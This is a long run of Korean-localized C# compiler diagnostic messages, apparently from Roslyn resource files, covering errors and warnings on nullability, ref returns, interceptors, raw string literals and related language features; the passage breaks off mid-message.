반환 값이 없으므로 '{1}'을(를) 구현할 수 없습니다. + '{0}'은(는) 함수 포인터 매개 변수에 대한 한정자로 사용할 수 없습니다. + 고정 크기 버퍼는 지역 변수 또는 필드를 통해서만 액세스할 수 있습니다. + '{1}'의 XML 주석에는 '{0}'에 대한 typeparamref 태그가 있지만 해당 이름의 형식 매개 변수는 없습니다. + 인터페이스 '{0}'에 선언된 항등 또는 항등 연산자의 매개 변수 중 하나는 '{0}'으로 제한된 '{0}'의 유형 매개 변수여야 합니다. + 원시 문자열 리터럴 + 대상으로 형식화된 조건식 + 비동기 메서드 빌더 재정의 + cref 특성 내에서 제네릭 형식의 중첩 형식은 정규화되어야 합니다. + 식 트리에는 명명된 인수 사양을 포함할 수 없습니다. + 잘못된 /target의 대상 형식입니다. 'exe', 'winexe', 'library' 또는 'module'을 지정해야 합니다. + 정적 읽기 전용 필드에는 할당할 수 없습니다. 단 정적 생성자 또는 변수 이니셜라이저에서는 예외입니다. + '{0}' 멤버는 인스턴스 참조를 사용하여 액세스할 수 없습니다. 대신 형식 이름을 사용하여 한정하세요. + using 또는 lock 문의 인수인 지역 변수에 대한 할당이 잘못되었을 수 있습니다. + 필수 구성원 '{0}'은(는) 포함하는 유형이 더 이상 사용되지 않거나 모든 생성자가 사용되지 않는 경우가 아니면 'ObsoleteAttribute'로 특성을 지정해서는 안 됩니다. + 정적 익명 함수는 '{0}'에 대한 참조를 포함할 수 없습니다. + 제어가 finally 절의 본문을 벗어날 수 없습니다. + '{0}' 매개 변수는 둘러싸인 형식의 상태로 캡처되며 해당 값도 기본 생성자에 전달됩니다. 기본 클래스에서도 값을 캡처할 수 있습니다. + 구문 노드가 구문 트리 내에 없습니다. + 참조 방식 반환은 참조로 반환하는 메서드에서만 사용할 수 있습니다. + 가능한 null 참조 반환입니다. + '{3}' 형식은 제네릭 형식 또는 '{0}' 메서드에서 '{2}' 형식 매개 변수로 사용할 수 없습니다. '{3}' 형식 인수의 Null 허용 여부가 '{1}' 제약 조건 형식과 일치하지 않습니다. + 지정한 식은 제공한 패턴과 항상 일치합니다. + '{0}' 형식은 const로 선언할 수 없습니다. + 함수 포인터 값을 비교하지 마세요 + 비동기 메서드에는 ref, in 또는 out 매개 변수를 사용할 수 없습니다. + 최종 case 레이블('{0}')의 스위치에서 제어를 이동할 수 없습니다. + '{0}'에 대한 using 지시문을 이 네임스페이스에서 이전에 사용했습니다. + '{0}' 속성, 인덱서 또는 이벤트는 이 언어에서 지원되지 않습니다. '{1}' 접근자 메서드를 직접 호출해 보세요. + '{0}' 속성, 인덱서 또는 이벤트는 이 언어에서 지원되지 않습니다. '{1}' 또는 '{2}' 접근자 메서드를 직접 호출해 보세요. + '{0}': 인터페이스(로)부터의 사용자 정의 변환은 허용되지 않습니다. + refonly를 사용할 때 refout을 사용하면 안 됩니다. + 무명 메서드, 람다 식, 쿼리 식 또는 로컬 함수 안에서는 ref, out 또는 in 매개 변수 '{0}'을(를) 사용할 수 없습니다. + 식의 결과는 항상 'null'입니다. + 모듈 '{0}'을(를) 내보내지 못했습니다. {1} + Throw 식 + '{0}' 메서드는 '{2}' 형식의 인터페이스 접근자 '{1}'을(를) 구현할 수 없습니다. 명시적 인터페이스 구현을 사용하세요. + 로컬 함수 특성 + '{0}' 별칭이 {1} 정의와 충돌합니다. + '{0}'에는 '{1}'에 대한 정의가 포함되어 있지 않습니다. + 정수 계열 상수가 너무 큽니다. + 파일을 찾을 수 없습니다. + 이 컨텍스트에서 선언을 사용할 수 없습니다. + 진입점을 반환하는 void 또는 int는 비동기일 수 없습니다. + XML 주석에 typeparamref 태그가 있지만 해당 이름의 형식 매개 변수는 없습니다. + 로컬 이름이 너무 길어서 PDB에 사용할 수 없습니다. + Guid 특성은 ComImport 특성과 함께 지정해야 합니다. + '{0}' 매개 변수 형식에 있는 참조 형식 Null 허용 여부가 재정의된 멤버와 일치하지 않습니다. + catch 절이 포함된 try 블록의 본문에서는 값을 생성할 수 없습니다. + 명시적 인터페이스 구현에 인터페이스 멤버가 두 개 이상 일치합니다. + 모듈이나 라이브러리를 빌드하고 있으면 /main을 지정할 수 없습니다. + 비동기 foreach에는 동적 형식 컬렉션을 사용할 수 없습니다. + 반환 형식에 있는 참조 형식 Null 허용 여부가 암시적으로 구현된 멤버와 일치하지 않습니다. + 형식은 평가 목적으로 제공되며, 이후 업데이트에서 변경되거나 제거될 수 있습니다. 계속하려면 이 진단을 표시하지 않습니다. + 정적 익명 함수 + 인수 {0} 'ref' 또는 'in' 키워드(keyword) 함께 전달해야 합니다. + 형식이 '{0}'인 식은 소스 형식이 '{1}'인 쿼리 식의 후속 from 절에서 사용할 수 없습니다. '{2}' 호출 시 형식을 유추하지 못했습니다. + null 전파 연산자 + '{0}' 및 '{1}' 어셈블리가 동일한 메타데이터를 참조하지만 하나만 링크된 참조이며 /link 옵션을 사용하여 지정되었습니다. 참조 중 하나를 제거하세요. + 공변(covariant) 반환 + 공변(covariant) + 예기치 않은 인수 목록입니다. + 'Clone'이라는 멤버는 레코드에서 허용되지 않습니다. + 고정 크기 버퍼 필드는 구조체의 멤버로만 사용할 수 있습니다. + 식 트리에는 튜플 변환을 사용할 수 없습니다. + 줄이 원시 문자열 리터럴의 닫는 줄과 동일한 공백으로 시작하지 않습니다. + 인터페이스의 정적 추상 멤버 + '{0}' 구성 파일을 읽을 수 없습니다. '{1}' + 암시적 인덱스 인덱서 호출로 인수 이름을 지정할 수 없습니다. + 비동기 람다 식을 식 트리로 변환할 수 없습니다. + 형식 매개 변수 '{1}'에 'struct' 제약 조건이 있으므로 '{1}'은(는) '{0}'에 대한 제약 조건으로 사용할 수 없습니다. + 'nameof'의 인스턴스 멤버 + 미리 정의된 형식 '{0}'을(를) 정의하지 않았거나 가져오지 않았습니다. + 작업이 런타임에 '{0}'을(를) 오버플로할 수 있습니다('선택되지 않은' 구문을 사용하여 재정의). + [NotNull] 또는 [DisallowNull]로 표시된 형식에는 가능한 null 값을 사용하지 못할 수 있음 + 'init' 접근자는 정적 멤버에 사용할 수 없습니다. + 형식 인수는 null일 수 없습니다. + extern 별칭 선언은 네임스페이스에 정의된 다른 모든 요소보다 앞에 와야 합니다. + /platform에 대해 잘못된 '{0}' 옵션입니다. anycpu, x86, Itanium, arm, arm64 또는 x64여야 합니다. + '{0}' 특성의 인수에는 유효한 식별자를 사용해야 합니다. + ref for 루프 변수 + '{0}' 매개 변수에 적용되는 CallerMemberNameAttribute는 효과가 없습니다. CallerFilePathAttribute에서 재정의합니다. + 인라인 배열 유형의 요소는 'int', 'System.Index' 또는 'System.Range'로 암시적으로 변환할 수 있는 단일 인수로만 액세스할 수 있습니다. + 일관성 없는 액세스 가능성: '{1}' 반환 형식이 '{0}' 대리자보다 액세스하기 어렵습니다. + '{0}' 보안 특성은 비동기 메서드에 적용할 수 없습니다. + using 절과 extern 별칭 선언을 제외하고 어셈블리 특성과 모듈 특성은 파일에 정의된 다른 모든 요소보다 앞에 와야 합니다. + 유형은 메타데이터로 표현할 수 없기 때문에 이 컨텍스트에서 사용할 수 없습니다. + 간접 어셈블리 참조로 인해 포함된 interop 어셈블리에 대한 참조를 만들었습니다. + 구조체 멤버는 참조로 'this' 또는 다른 인스턴스 멤버를 반환합니다. + 관리되지 않은 형식 '{0}'은(는) 필드에서만 유효합니다. + 출력 디렉터리를 확인할 수 없습니다. + 여러 줄 원시 문자열 리터럴에는 콘텐츠 줄이 하나 이상 있어야 합니다. + is' 또는 'as' 연산자의 두 번째 피연산자는 '{0}' 정적 형식일 수 없습니다. + 오버로드된 '{0}' 단항 연산자는 매개 변수를 한 개 사용합니다. + 안전하지 않은 '{0}' 형식은 개체를 만드는 데 사용할 수 없습니다. + InterceptsLocationAttribute에 제공된 라인 및 문자 번호는 양수여야 합니다. + 식을 제어하는 switch 주위에 괄호가 필요합니다. + 할당되지 않은 '{0}' out 매개 변수를 사용합니다. + 반공변(contravariant) + ‘{0}’ 매개 변수를 읽지 않았습니다. + 인터페이스 멤버에서는 Conditional 특성을 사용할 수 없습니다. + unboxing 변환 결과는 수정할 수 없습니다. + 이 컨텍스트에서는 ref 및 out을 사용할 수 없습니다. + '{0}' 끝 태그가 '{1}' 시작 태그와 일치하지 않습니다. + fixed 문의 오른쪽에는 캐스트 식을 할당할 수 없습니다. + ref 확장 메서드 + 읽기 전용 필드 '{0}'의 멤버는 수정할 수 없습니다. 단 생성자 또는 변수 이니셜라이저에서는 예외입니다. + '{1}'이(가) 사용하는 '{0}' 어셈블리 참조가 '{3}'의 '{2}'과(와) 일치하는 것으로 간주합니다. 런타임 정책을 지정해야 합니다. + == 또는 != 연산자의 피연산자로 사용되는 튜플 형식에는 일치하는 카디널리티가 있어야 합니다. 하지만 이 연산자는 왼쪽에 {0}, 오른쪽에 {1} 카디널리티 형식의 튜플이 있습니다. + 어셈블리에 적용된 보안 특성에 대한 SecurityAction 값('{0}')이 잘못되었습니다. + '{0}'이(가) 'object'의 필요한 메서드를 재정의하지 않습니다. + 범위 변수 '{0}'이(가) '{0}'의 이전 선언과 충돌합니다. + 확장 GetAsyncEnumerator + 제네릭 형식 또는 메서드 '{0}'에서 모든 중첩 수준의 모든 필드와 함께 '{2}' 형식을 '{1}' 매개 변수로 사용하려면 해당 형식이 null을 허용하지 않는 값 형식이어야 합니다. + '{0}' 형식 또는 네임스페이스 이름을 찾을 수 없습니다. using 지시문 또는 어셈블리 참조가 있는지 확인하세요. + 상황별 키워드 'on'이 필요합니다. + 상황별 키워드 'by'가 필요합니다. + '{3}' 형식은 제네릭 형식 또는 '{0}' 메서드에서 '{2}' 형식 매개 변수로 사용할 수 없습니다. '{3}'에서 '{1}'(으)로의 boxing 변환이 없습니다. + 확장 메서드는 정적이어야 합니다. + XML 주석 cref 특성에서 반환 형식이 잘못되었습니다. + '{0}'은(는) 사용되지 않습니다. '{1}' + {0} 어셈블리에는 분석기가 포함되어 있지 않습니다. + 비동기 반복기 메서드의 본문에는 'yield' 문이 포함되어야 합니다. + 공변(covariant) 방식 + '{1}' 어셈블리에서 만든 어셈블리에 대한 간접 참조 때문에 포함된 interop 어셈블리 '{0}'에 대한 참조를 만들었습니다. 두 어셈블리 중 하나에서 'Interop 형식 포함' 속성을 변경하세요. + 소스 파일의 줄 수가 PDB에 표시할 수 있는 16,707,565줄을 초과했습니다. 디버그 정보가 올바르지 않을 수 있습니다. + 컬렉션 + System.Runtime.CompilerServices.DynamicAttribute' 대신 'dynamic' 키워드를 사용하세요. + '어셈블리에 CLSCompliant 특성이 없으므로 '{0}'을(를) CLS 규격으로 표시할 수 없습니다. + '{1}'은(는) return 문을 통해서만 현재 메서드를 이스케이프할 수 있으므로 '{1}'을(를) '{0}'에 다시 할당할 수 없습니다. + 제공한 언어 버전이 지원되지 않거나 잘못되었습니다. '{0}'. + 식 또는 선언문이 필요합니다. + 매개 변수 '{0}'의 '범위 지정' 한정자가 부분 메서드 선언과 일치하지 않습니다. + '{0}' 속성 또는 인덱서는 읽기 전용이므로 할당할 수 없습니다. + 메서드, 대리자 또는 함수 포인터의 반환 형식은 '{0}'일 수 없습니다. + 식별자 또는 단순 구성원 액세스가 필요합니다. + 참조로 로컬 '{0}'을(를) 반환하지만 참조 로컬이 아닙니다. + 여러 번 지정된 분석기 참조 + 부분 메서드(Partial method) 선언의 형식 매개 변수에 대한 제약 조건에 Null 허용 여부가 일관되지 않음 + 일관성 없는 액세스 가능성: '{1}' 필드 형식이 '{0}' 필드보다 액세스하기 어렵습니다. + /pdb 옵션은 /debug 옵션과 함께 사용해야 합니다. + 'is' 식의 지정된 식이 항상 제공된 형식입니다. + 전역 using 지시문은 네임스페이스 선언에 사용할 수 없습니다. + #pragma + 호출 규칙으로 사용하려면 '{0}' 형식이 public이어야 합니다. + 필수 구성원 '{0}'은(는) 설정 가능해야 합니다. + 링크된 각 리소스와 모듈에는 고유한 파일 이름이 있어야 합니다. '{0}' 파일 이름은 이 어셈블리에 두 번 이상 지정되었습니다. + 할당된 인스턴스에 대한 모든 참조가 범위를 벗어나기 전에 System.IDisposable.Dispose()를 호출하세요. + '{0}' 속성 또는 인덱서의 두 접근자에 'readonly' 한정자를 지정할 수 없습니다. 대신 속성 자체에 'readonly' 한정자를 지정하세요. + 속성 접근자에서 사용되지 않음 + 보간된 문자열 처리기 메서드 '{0}'에 일치하지 않는 반환 유형이 있습니다. '{1}'을(를) 반환해야 합니다. + 람다 식 트리에는 인수에서 ref가 생략된 COM 호출을 포함할 수 없습니다. + params 매개 변수는 {0}(으)로 선언될 수 없습니다. + foreach 문에는 형식과 식별자가 모두 필요합니다. + {0} 인수: '{1}'에서 '{2}'(으)로 변환할 수 없습니다. + 명명된 인수 사양은 모든 고정 인수를 지정한 다음에 와야 합니다. 뒤에 오지 않는 명명된 인수를 허용하려면 {0} 이상의 언어 버전을 사용하세요. + 문자열은 따옴표(")로 시작해야 합니다. + '{1}' 메서드의 '{0}' 형식 매개 변수에 대한 제약 조건이 '{3}' 인터페이스 메서드의 '{2}' 형식 매개 변수에 대한 제약 조건과 일치해야 합니다. 명시적 인터페이스 구현을 대신 사용하세요. + 범위 변수 '{0}'을(를) 참조로 반환할 수 없습니다. + 형식에 있는 참조 형식 Null 허용 여부가 구현된 멤버 '{0}'과(와) 일치하지 않습니다. + 반복기에는 안전하지 않은 코드를 사용할 수 없습니다. + 인터셉터는 'UnmanagedCallersOnlyAttribute'로 표시할 수 없습니다. + typeof 연산자는 nullable 참조 형식에 사용할 수 없습니다. + __arglist 구문은 가변 인수 메서드 내에서만 사용할 수 있습니다. + '{0}'과(와) '{1}'은(는) 서로 암시적으로 변환되므로 조건식의 형식을 확인할 수 없습니다. + [NotNull] 또는 [DisallowNull]로 표시된 형식에는 가능한 null 값을 사용하지 못할 수 있음 + 보간된 문자열 처리기 + 'new'는 튜플 형식과 함께 사용할 수 없습니다. 대신 튜플 리터럴 식을 사용하세요. + 예기치 않은 토큰 '{0}' + 대체 ref 값과 일치하려면 식이 '{0}' 형식이어야 합니다. + 이 컨텍스트에서는 최상위 문에 선언된 지역 변수 또는 로컬 함수 '{0}'을(를) 사용할 수 없습니다. + '{0}': sealed 형식 '{1}'에서 파생될 수 없습니다. + 'in' 매개 변수에 해당하는 인수 {0} 'ref' 한정자가 'in'에 해당합니다. 대신 'in'을 사용하는 것이 좋습니다. + 중첩 식의 stackalloc + 디버그 진입점은 현재 컴파일에서 선언된 메서드의 정의여야 합니다. + partial 구조체의 여러 선언에서 필드 간 순서가 정의되어 있지 않습니다. + '{1}'이(가) 사용하는 '{0}' 어셈블리 참조가 '{3}'의 '{2}'과(와) 일치하는 것으로 간주합니다. 런타임 정책을 지정해야 합니다. + 반환 형식에 있는 참조 형식 Null 허용 여부가 구현된 멤버와 일치하지 않습니다. + 메서드 그룹을 함수 포인터로 변환할 수 없습니다. ('&'가 누락되었습니까?) + XML 주석에는 '{0}'에 대한 typeparam 태그가 있지만 해당 이름의 형식 매개 변수는 없습니다. + '{0}' 또는 '{1}' 특성 매개 변수를 지정해야 합니다. + '{0}' 특성 매개 변수를 지정해야 합니다. + 식 본문 메서드 + 인스턴스 멤버 내에 ref 유사 형식이 있는 기본 생성자 '{0}' 매개 변수를 사용할 수 없습니다. + CallerFilePathAttribute는 선택적 인수를 허용하지 않는 컨텍스트에서 사용되는 멤버에 적용되므로 효과가 없습니다. + /refout 또는 /refonly를 사용할 때 NET 모듈을 컴파일할 수 없습니다. + '{3}' 형식은 제네릭 형식 또는 '{0}' 메서드에서 '{2}' 형식 매개 변수로 사용할 수 없습니다. '{3}' null 허용 형식이 '{1}' 제약 조건을 충족하지 않습니다. null 허용 형식은 어떠한 인터페이스 제약 조건도 만족할 수 없습니다. + 포함된 주석 파일에 잘못된 형식의 XML이 있습니다. + '{1}' 네임스페이스에 '{0}' 별칭과 충돌하는 정의가 포함되어 있습니다. + 잘못된 어셈블리 이름: {0} + 식 트리에 취소를 사용할 수 없습니다. + not 패턴 + Argument should be passed with the 'in' keyword + is'를 사용한 'dynamic' 호환성 테스트는 근본적으로 'Object' 호환성 테스트와 동일합니다. + 부분 메서드 '{0}'에는 접근성 한정자가 있으므로 구현 파트가 있어야 합니다. + using namespace' 지시문은 네임스페이스에만 적용할 수 있습니다. '{0}'은(는) 네임스페이스가 아니라 형식입니다. 대신 'using static' 지시문을 사용하세요. + 읽기 전용 필드 '{0}'의 멤버는 ref 또는 out 값으로 사용할 수 없습니다. 단 생성자에서는 예외입니다. + 명령줄 구문 오류: '{1}' 옵션에 대해 잘못된 '{0}' Guid 형식입니다. + '_'을 사용하여 is-type 식의 형식을 참조하지 마세요. + 기본 리터럴 'default'가 패턴으로 유효하지 않습니다. 다른 리터럴(예: '0' 또는 'null')을 적절하게 사용하세요. 모두 일치시키려면 무시 패턴 '_'을 사용하세요. + cref 특성 내에서 제네릭 형식의 중첩 형식은 정규화되어야 합니다. + CallerLineNumberAttribute는 기본값이 있는 매개 변수에만 적용할 수 있습니다. + '{1}' 형식의 값은 '{2}' 형식의 'null'과 같을 수 없으므로 식 결과는 항상 '{0}'입니다. + 반복기에서 값을 반환할 수 없습니다. yield return 문을 사용하여 값을 반환하거나 yield break 문을 사용하여 반복을 끝내세요. + 생성기가 소스를 생성하지 못했습니다. + 'disable' 또는 'restore'가 필요합니다. + 옵션 '{0}'은(는) 절대 경로여야 합니다. + /subsystemversion에 대해 잘못된 버전({0})입니다. 버전은 ARM 또는 AppContainerExe의 경우 6.02 이상이어야 하고, 그 외의 경우 4.00 이상이어야 합니다. + 잘못된 이니셜라이저 멤버 선언자입니다. + 열거형 제네릭 형식 제약 조건 + pathmap 옵션의 형식이 잘못되었습니다. + 고정 크기 버퍼는 bool, byte, short, int, long, char, sbyte, ushort, uint, ulong, float 또는 double 형식 중 하나여야 합니다. + '{0}'에 대한 이 인수 조합은 선언 범위 외부의 '{1}' 매개 변수에서 참조하는 변수를 노출할 수 있으므로 사용할 수 없습니다. + '{0}' 상수 값을 '{1}'(으)로 변환할 수 없습니다. + {0} 인수는 '{1}' 키워드와 함께 전달할 수 없습니다. + get 접근자에 액세스할 수 없으므로 '{0}' 속성 또는 인덱서는 이 컨텍스트에서 사용할 수 없습니다. + 로컬 함수 + 참조 반환 속성은 필요하지 않습니다. + 튜플 + extern 별칭 + 잘못된 XML 포함 요소입니다. {0} + 언어 버전 '{0}' 이상이 사용되는 경우가 아니면 nullable 형식 매개 변수가 값 형식 또는 nullable이 아닌 참조 형식으로 인식되어야 합니다. 언어 버전을 변경하거나 'class', 'struct' 또는 형식 제약 조건을 추가해 보세요. + 맞춤 값에 큰 형식 문자열로 표시되는 크기가 있음 + 식 트리는 인라인 배열 액세스 또는 변환을 포함할 수 없습니다. + Catch 또는 Throw된 형식은 System.Exception에서 파생되어야 합니다. + 소스 파일을 지정하지 않음 + 공개 서명이 지정된 경우 '{0}' 특성이 무시됩니다. + 길이가 {0}인 '{1}' 형식의 고정 크기 버퍼가 너무 큽니다. + '{0}'은(는) 언어에서 지원되지 않으므로 '{1}'을(를) 구현할 수 없습니다. + '{0}' 기능은 C# 8.0에서 사용할 수 없습니다. 언어 버전 {1} 이상을 사용하세요. + '{0}' 기능은 C# 9.0에서 사용할 수 없습니다. {1} 이상의 언어 버전을 사용하세요. + '{0}' 기능은 C# 2에서 사용할 수 없습니다. {1} 이상의 언어 버전을 사용하세요. + '{0}' 기능은 C# 3에서 사용할 수 없습니다. {1} 이상의 언어 버전을 사용하세요. + '{0}' 기능은 C# 1에서 사용할 수 없습니다. {1} 이상의 언어 버전을 사용하세요. + '{0}' 기능은 C# 6에서 사용할 수 없습니다. {1} 이상의 언어 버전을 사용하세요. + '{0}' 기능은 C# 7.0에서 사용할 수 없습니다. 언어 버전 {1} 이상을 사용하세요. + '{0}' 기능은 C# 4에서 사용할 수 없습니다. {1} 이상의 언어 버전을 사용하세요. + '{0}' 기능은 C# 5에서 사용할 수 없습니다. {1} 이상의 언어 버전을 사용하세요. + '{0}' 메서드는 형식 매개 변수 '{1}'의 'struct' 제약 조건을 지정하지만 재정의되었거나 명시적으로 구현된 '{3}' 메서드의 해당 형식 매개 변수 '{2}'이(가) null을 허용하지 않는 값 형식이 아닙니다. + /LIB 옵션 + 반환 형식이 void가 아니므로 '{0}'에서는 Conditional 특성이 유효하지 않습니다. + 인터셉터에는 '{0}'에 'this' 매개 변수가 없으므로 'this' 매개 변수가 없어야 합니다. + 형식 패턴 + '{0}' 형식의 using 문 리소스는 비동기 메서드 또는 비동기 람다 식에 사용할 수 없습니다. + DllImport 특성은 제네릭이거나 제네릭 메서드 또는 형식에 포함된 메서드에 적용할 수 없습니다. + 매개 변수가 없는 구조체 생성자는 '공개'여야 합니다. + 할당되지 않은 '{0}' 지역 변수를 사용했습니다. + 참조를 반환하지 않는 속성 또는 인덱서는 out 또는 ref 값으로 사용할 수 없음 + 멤버가 런타임에 여러 재정의 후보로 기본 멤버를 재정의합니다. + '{0}'은(는) '{1}'이므로 참조로 반환할 수 없습니다. + ReflectionTypeLoadException으로 인해 실패한 분석기 어셈블리에서 형식 로드를 건너뜀 + 인라인 배열 요소 필드는 필수, 읽기 전용, volatile 또는 고정 크기 버퍼로 선언할 수 없습니다. + [DoesNotReturn]으로 표시된 메서드는 반환하지 않아야 합니다. + 하나의 컴파일 단위에만 최상위 문을 포함할 수 있습니다. + '{0}' 형식의 매개 변수 또는 로컬은 비동기 메서드나 비동기 람다 식에서 선언할 수 없습니다. + '{0}' 부분 메서드(Partial Method)의 구현 선언에 대한 정의 선언이 없습니다. + 기본 인터페이스 구현 + '{0}' 형식에 대한 참조는 이 어셈블리에 정의된 것으로 되어 있지만 소스 또는 추가된 모듈에 정의되어 있지 않습니다. + null 또는 friend 어셈블리 이름을 전달할 수 없습니다. + 지정된 기본값은 선택적 인수를 허용하지 않는 컨텍스트에서 사용되는 멤버에 적용되므로 효과가 없습니다. + 매개 변수가 null이 아니기 때문에 반환 값은 null이 아니어야 합니다. + 빈 스위치 블록입니다. + '{0}': 추상 형식은 봉인되거나 정적일 수 없습니다. + Finalize' 메서드를 사용하면 소멸자를 호출하는 데 방해가 될 수 있습니다. + 모든 필드가 할당되기 전에는 'this' 개체를 사용할 수 없습니다. 할당되지 않은 필드의 기본값을 자동으로 설정하려면 언어 버전 '{0}'(으)로 업데이트하는 것이 좋습니다. + '@' 문자 시퀀스는 허용되지 않습니다. 축자 문자열 또는 식별자에는 '@' 문자가 하나만 있을 수 있으며 원시 문자열은 포함할 수 없습니다. + 원본 파일에는 파일 범위 네임스페이스 선언이 하나만 포함될 수 있습니다. + 지정한 식은 제공한 패턴과 항상 일치합니다. + fixed 또는 using 문 선언에 이니셜라이저를 입력해야 합니다. + ++ 또는 -- 연산자의 반환 형식은 매개 변수 형식이거나 매개 변수 형식에서 파생되어야 합니다. + 잘못된 가변성(variance): '{1}' 형식 매개 변수는 '{0}'에서 유효한 {3}이어야 합니다. '{1}'은(는) {2}입니다. + 필수 멤버는 스크립트 또는 제출의 최상위 수준에서 허용되지 않습니다. + '{0}': 동적 유형과의 사용자 정의 변환은 허용되지 않습니다. + AppConfigPath는 절대 경로여야 합니다. + Auto 속성의 필드 대상 특성이 언어 버전 {0}에서 지원되지 않습니다. {1} 이상의 언어 버전을 사용하세요. + '{0}': 추상 이벤트는 이벤트 접근자 구문을 사용할 수 없습니다. + [EnumeratorCancellation] 특성은 여러 매개 변수에 사용할 수 없습니다. + 이 컨텍스트에서 '{0}' 결과의 멤버를 사용하면 선언 범위 외부에서 '{1}' 매개 변수가 참조하는 변수가 노출될 수 있습니다. + '{0}' 매개 변수에 적용되는 CallerFilePathAttribute는 효과가 없습니다. CallerLineNumberAttribute에서 재정의합니다. + 빈 문에 오류가 있는 것 같습니다. + 람다 특성 + 특성이 있는 람다 식은 식 트리로 변환할 수 없습니다. + '{3}' 형식은 제네릭 형식 또는 '{0}' 메서드에서 '{2}' 형식 매개 변수로 사용할 수 없습니다. '{3}'에서 '{1}'(으)로의 boxing 변환 또는 형식 매개 변수 변환이 없습니다. + 포함된 주석 파일에 잘못된 형식의 XML이 있습니다. '{0}' + 부동 소수점 NaN에는 관계형 패턴을 사용할 수 없습니다. + 자동 구현 속성은 재정의된 속성의 모든 접근자를 재정의해야 합니다. + 'enum' 키워드는 제약 조건으로 사용할 수 없습니다. 'struct, System.Enum'을 사용할까요? + 부분식은 nameof에 대한 인수에서 사용할 수 없습니다. + ref 조건 연산자의 분기는 호환되지 않는 선언 범위가 포함된 변수를 참조할 수 없습니다. + 고정 크기 버퍼 필드에는 필드 이름 뒤에 배열 크기 지정자를 사용해야 합니다. + 함수 포인터 + #warning 지시문 + 인수 {1}개를 사용하는 '{0}' 메서드에 대한 오버로드가 없습니다. + []을 사용하는 인덱싱을 '{0}' 형식의 식에 적용할 수 없습니다. + #line 지시문 값이 없거나 범위를 벗어났습니다. + Attribute parameter 'SizeConst' must be specified. + '{0}'은(는) 유효한 제약 조건이 아닙니다. 제약 조건으로 사용되는 형식은 인터페이스, 봉인되지 않은 클래스 또는 형식 매개 변수여야 합니다. + cref 특성에 모호한 참조가 있습니다. '{0}'. '{1}'(으)로 간주하지만 '{2}'을(를) 포함하여 다른 오버로드와 일치할 수도 있습니다. + '{0}' 클래스는 기본 클래스('{1}', '{2}')를 여러 개 포함할 수 없습니다. + '{0}'은(는) Object.Equals(object o)를 재정의하지만 Object.GetHashCode()를 재정의하지 않습니다. + 인터셉터는 'null' 파일 경로를 가질 수 없습니다. + 불필요한 using 지시문입니다. + 시그니처가 필요한 액세스 가능한 '{0}' 메서드(형식이 'ReadOnlySpan<{1}>'인 단일 매개 변수가 있는 정적 메서드, '{2}' 반환 형식)를 찾을 수 없습니다. + '{0}' 이름이 현재 컨텍스트에 없습니다. + break 또는 continue되어 빠져 나갈 루프가 없습니다. + 명시적 인터페이스 구현 '{0}'에 인터페이스 멤버가 두 개 이상 일치합니다. 실제로 선택되는 인터페이스 멤버는 구현에 따라 다릅니다. 대신 비명시적 구현을 사용해 보세요. + '{0}' 매개 변수 형식에서 참조 형식의 null 허용 여부가 구현된 멤버 '{1}'과(와) 일치하지 않습니다(null 허용 여부 특성 때문일 수 있음). + 정의되지 않은 엔터티 '{0}'에 대한 참조입니다. + XML 주석에 잘못된 형식의 XML이 있습니다. '{0}' + 참조로 반환하는 속성에 get 접근자를 사용할 수 없습니다. + 포함하는 형식이 더 이상 사용되지 않거나 모든 생성자가 사용되지 않는 경우가 아니면 'ObsoleteAttribute' 특성을 가진 구성원이 필요하지 않습니다. + 일관성 없는 액세스 가능성: '{1}' 기본 인터페이스가 '{0}' 인터페이스보다 액세스하기 어렵습니다. + 식 트리에는 무명 메서드 식을 사용할 수 없습니다. + 람다 식 + 매개 변수는 둘러싸인 형식의 상태로 캡처되며 해당 값도 기본 생성자에 전달됩니다. 기본 클래스에서도 값을 캡처할 수 있습니다. + 형식이나 네임스페이스 정의 또는 파일 끝(EOF)이 필요합니다. + 문자열 리터럴이 종료되지 않았습니다. + 잘못된 제약 조건 형식입니다. 제약 조건으로 사용되는 형식은 인터페이스, 봉인되지 않은 클래스 또는 형식 매개 변수여야 합니다. + 'is' 또는 'as' 연산자의 두 번째 피연산자는 정적 형식일 수 없음 + 형식의 기본값이 null이므로 식은 항상 System.NullReferenceException을 발생합니다. + UnscopedRefAttribute는 인터페이스 구현에 적용할 수 없습니다. + 포인터 형식에는 'is' 또는 'as'를 사용할 수 없습니다. + 형식 매개 변수가 외부 형식의 형식 매개 변수와 이름이 같습니다. + 원시 문자열 리터럴에 따옴표가 부족합니다. + '{0}': CLS 규격 인터페이스는 CLS 규격 멤버만 포함할 수 있습니다. + 무명 메서드 식을 식 트리로 변환할 수 없습니다. + 소스 파일이 여러 번 지정되었습니다. + 주석에 잘못된 구문이 사용되었습니다. + 람다 식의 컬렉션 이니셜라이저에 대해서는 확장 추가 메서드가 지원되지 않습니다. + '{0}' 특성은 명시적 인터페이스 멤버 선언이 아닌 인덱서에서만 유효합니다. + '{0}'은(는) 특성 클래스가 아닙니다. + 형식은 제네릭 형식 또는 메서드에서 형식 매개 변수로 사용할 수 없습니다. 형식 인수의 Null 허용 여부가 'notnull' 제약 조건과 일치하지 않습니다. + 상수 식에서는 익명 형식을 사용할 수 없습니다. + 식과 문은 메서드 본문에만 발생할 수 있습니다. + '{0}' 유형은 '정적 사용'에 유효하지 않습니다. 클래스, 구조체, 인터페이스, 열거형, 대리자 또는 네임스페이스만 사용할 수 있습니다. + '{0}' 형식이 CLS 규격이 아닙니다. + '{0}' 연산자가 모호하여 '{1}' 및 '{2}' 피연산자에 사용할 수 없습니다. + '{0}' 인수 형식이 CLS 규격이 아닙니다. + 매개 변수 배열은 1차원 배열이어야 합니다. + 프로그램의 진입점이 전역 코드이며 '{0}' 진입점을 무시합니다. + 추상 기본 멤버를 호출할 수 없습니다. '{0}' + null을 허용하지 않는 값 형식일 수 있으므로 null을 '{0}' 형식 매개 변수로 변환할 수 없습니다. 대신 'default({0})'를 사용하세요. + 기능은 표준화된 ISO C# 언어 사양의 일부가 아니므로 다른 컴파일러에서 지원하지 않을 수도 있습니다. + 식 트리에서는 메서드 그룹에 '&'를 사용할 수 없습니다. + fixed 문에 선언된 지역 변수의 형식은 함수 포인터 형식일 수 없습니다. + 지정된 {0}은(는) 매개 변수 형식이고 {1}은(는) 매개 변수 참조 종류입니다. 이 배열은 길이가 같아야 합니다. + '{0}' 로컬의 멤버는 참조 로컬이 아니므로 참조로 반환할 수 없습니다. + 생성자를 종료할 때 null을 허용하지 않는 필드에 null이 아닌 값을 포함해야 합니다. null 허용으로 선언해 보세요. + '{0}'에는 기본 클래스가 없으므로 기본 생성자를 호출할 수 없습니다. + '{0}'에 가장 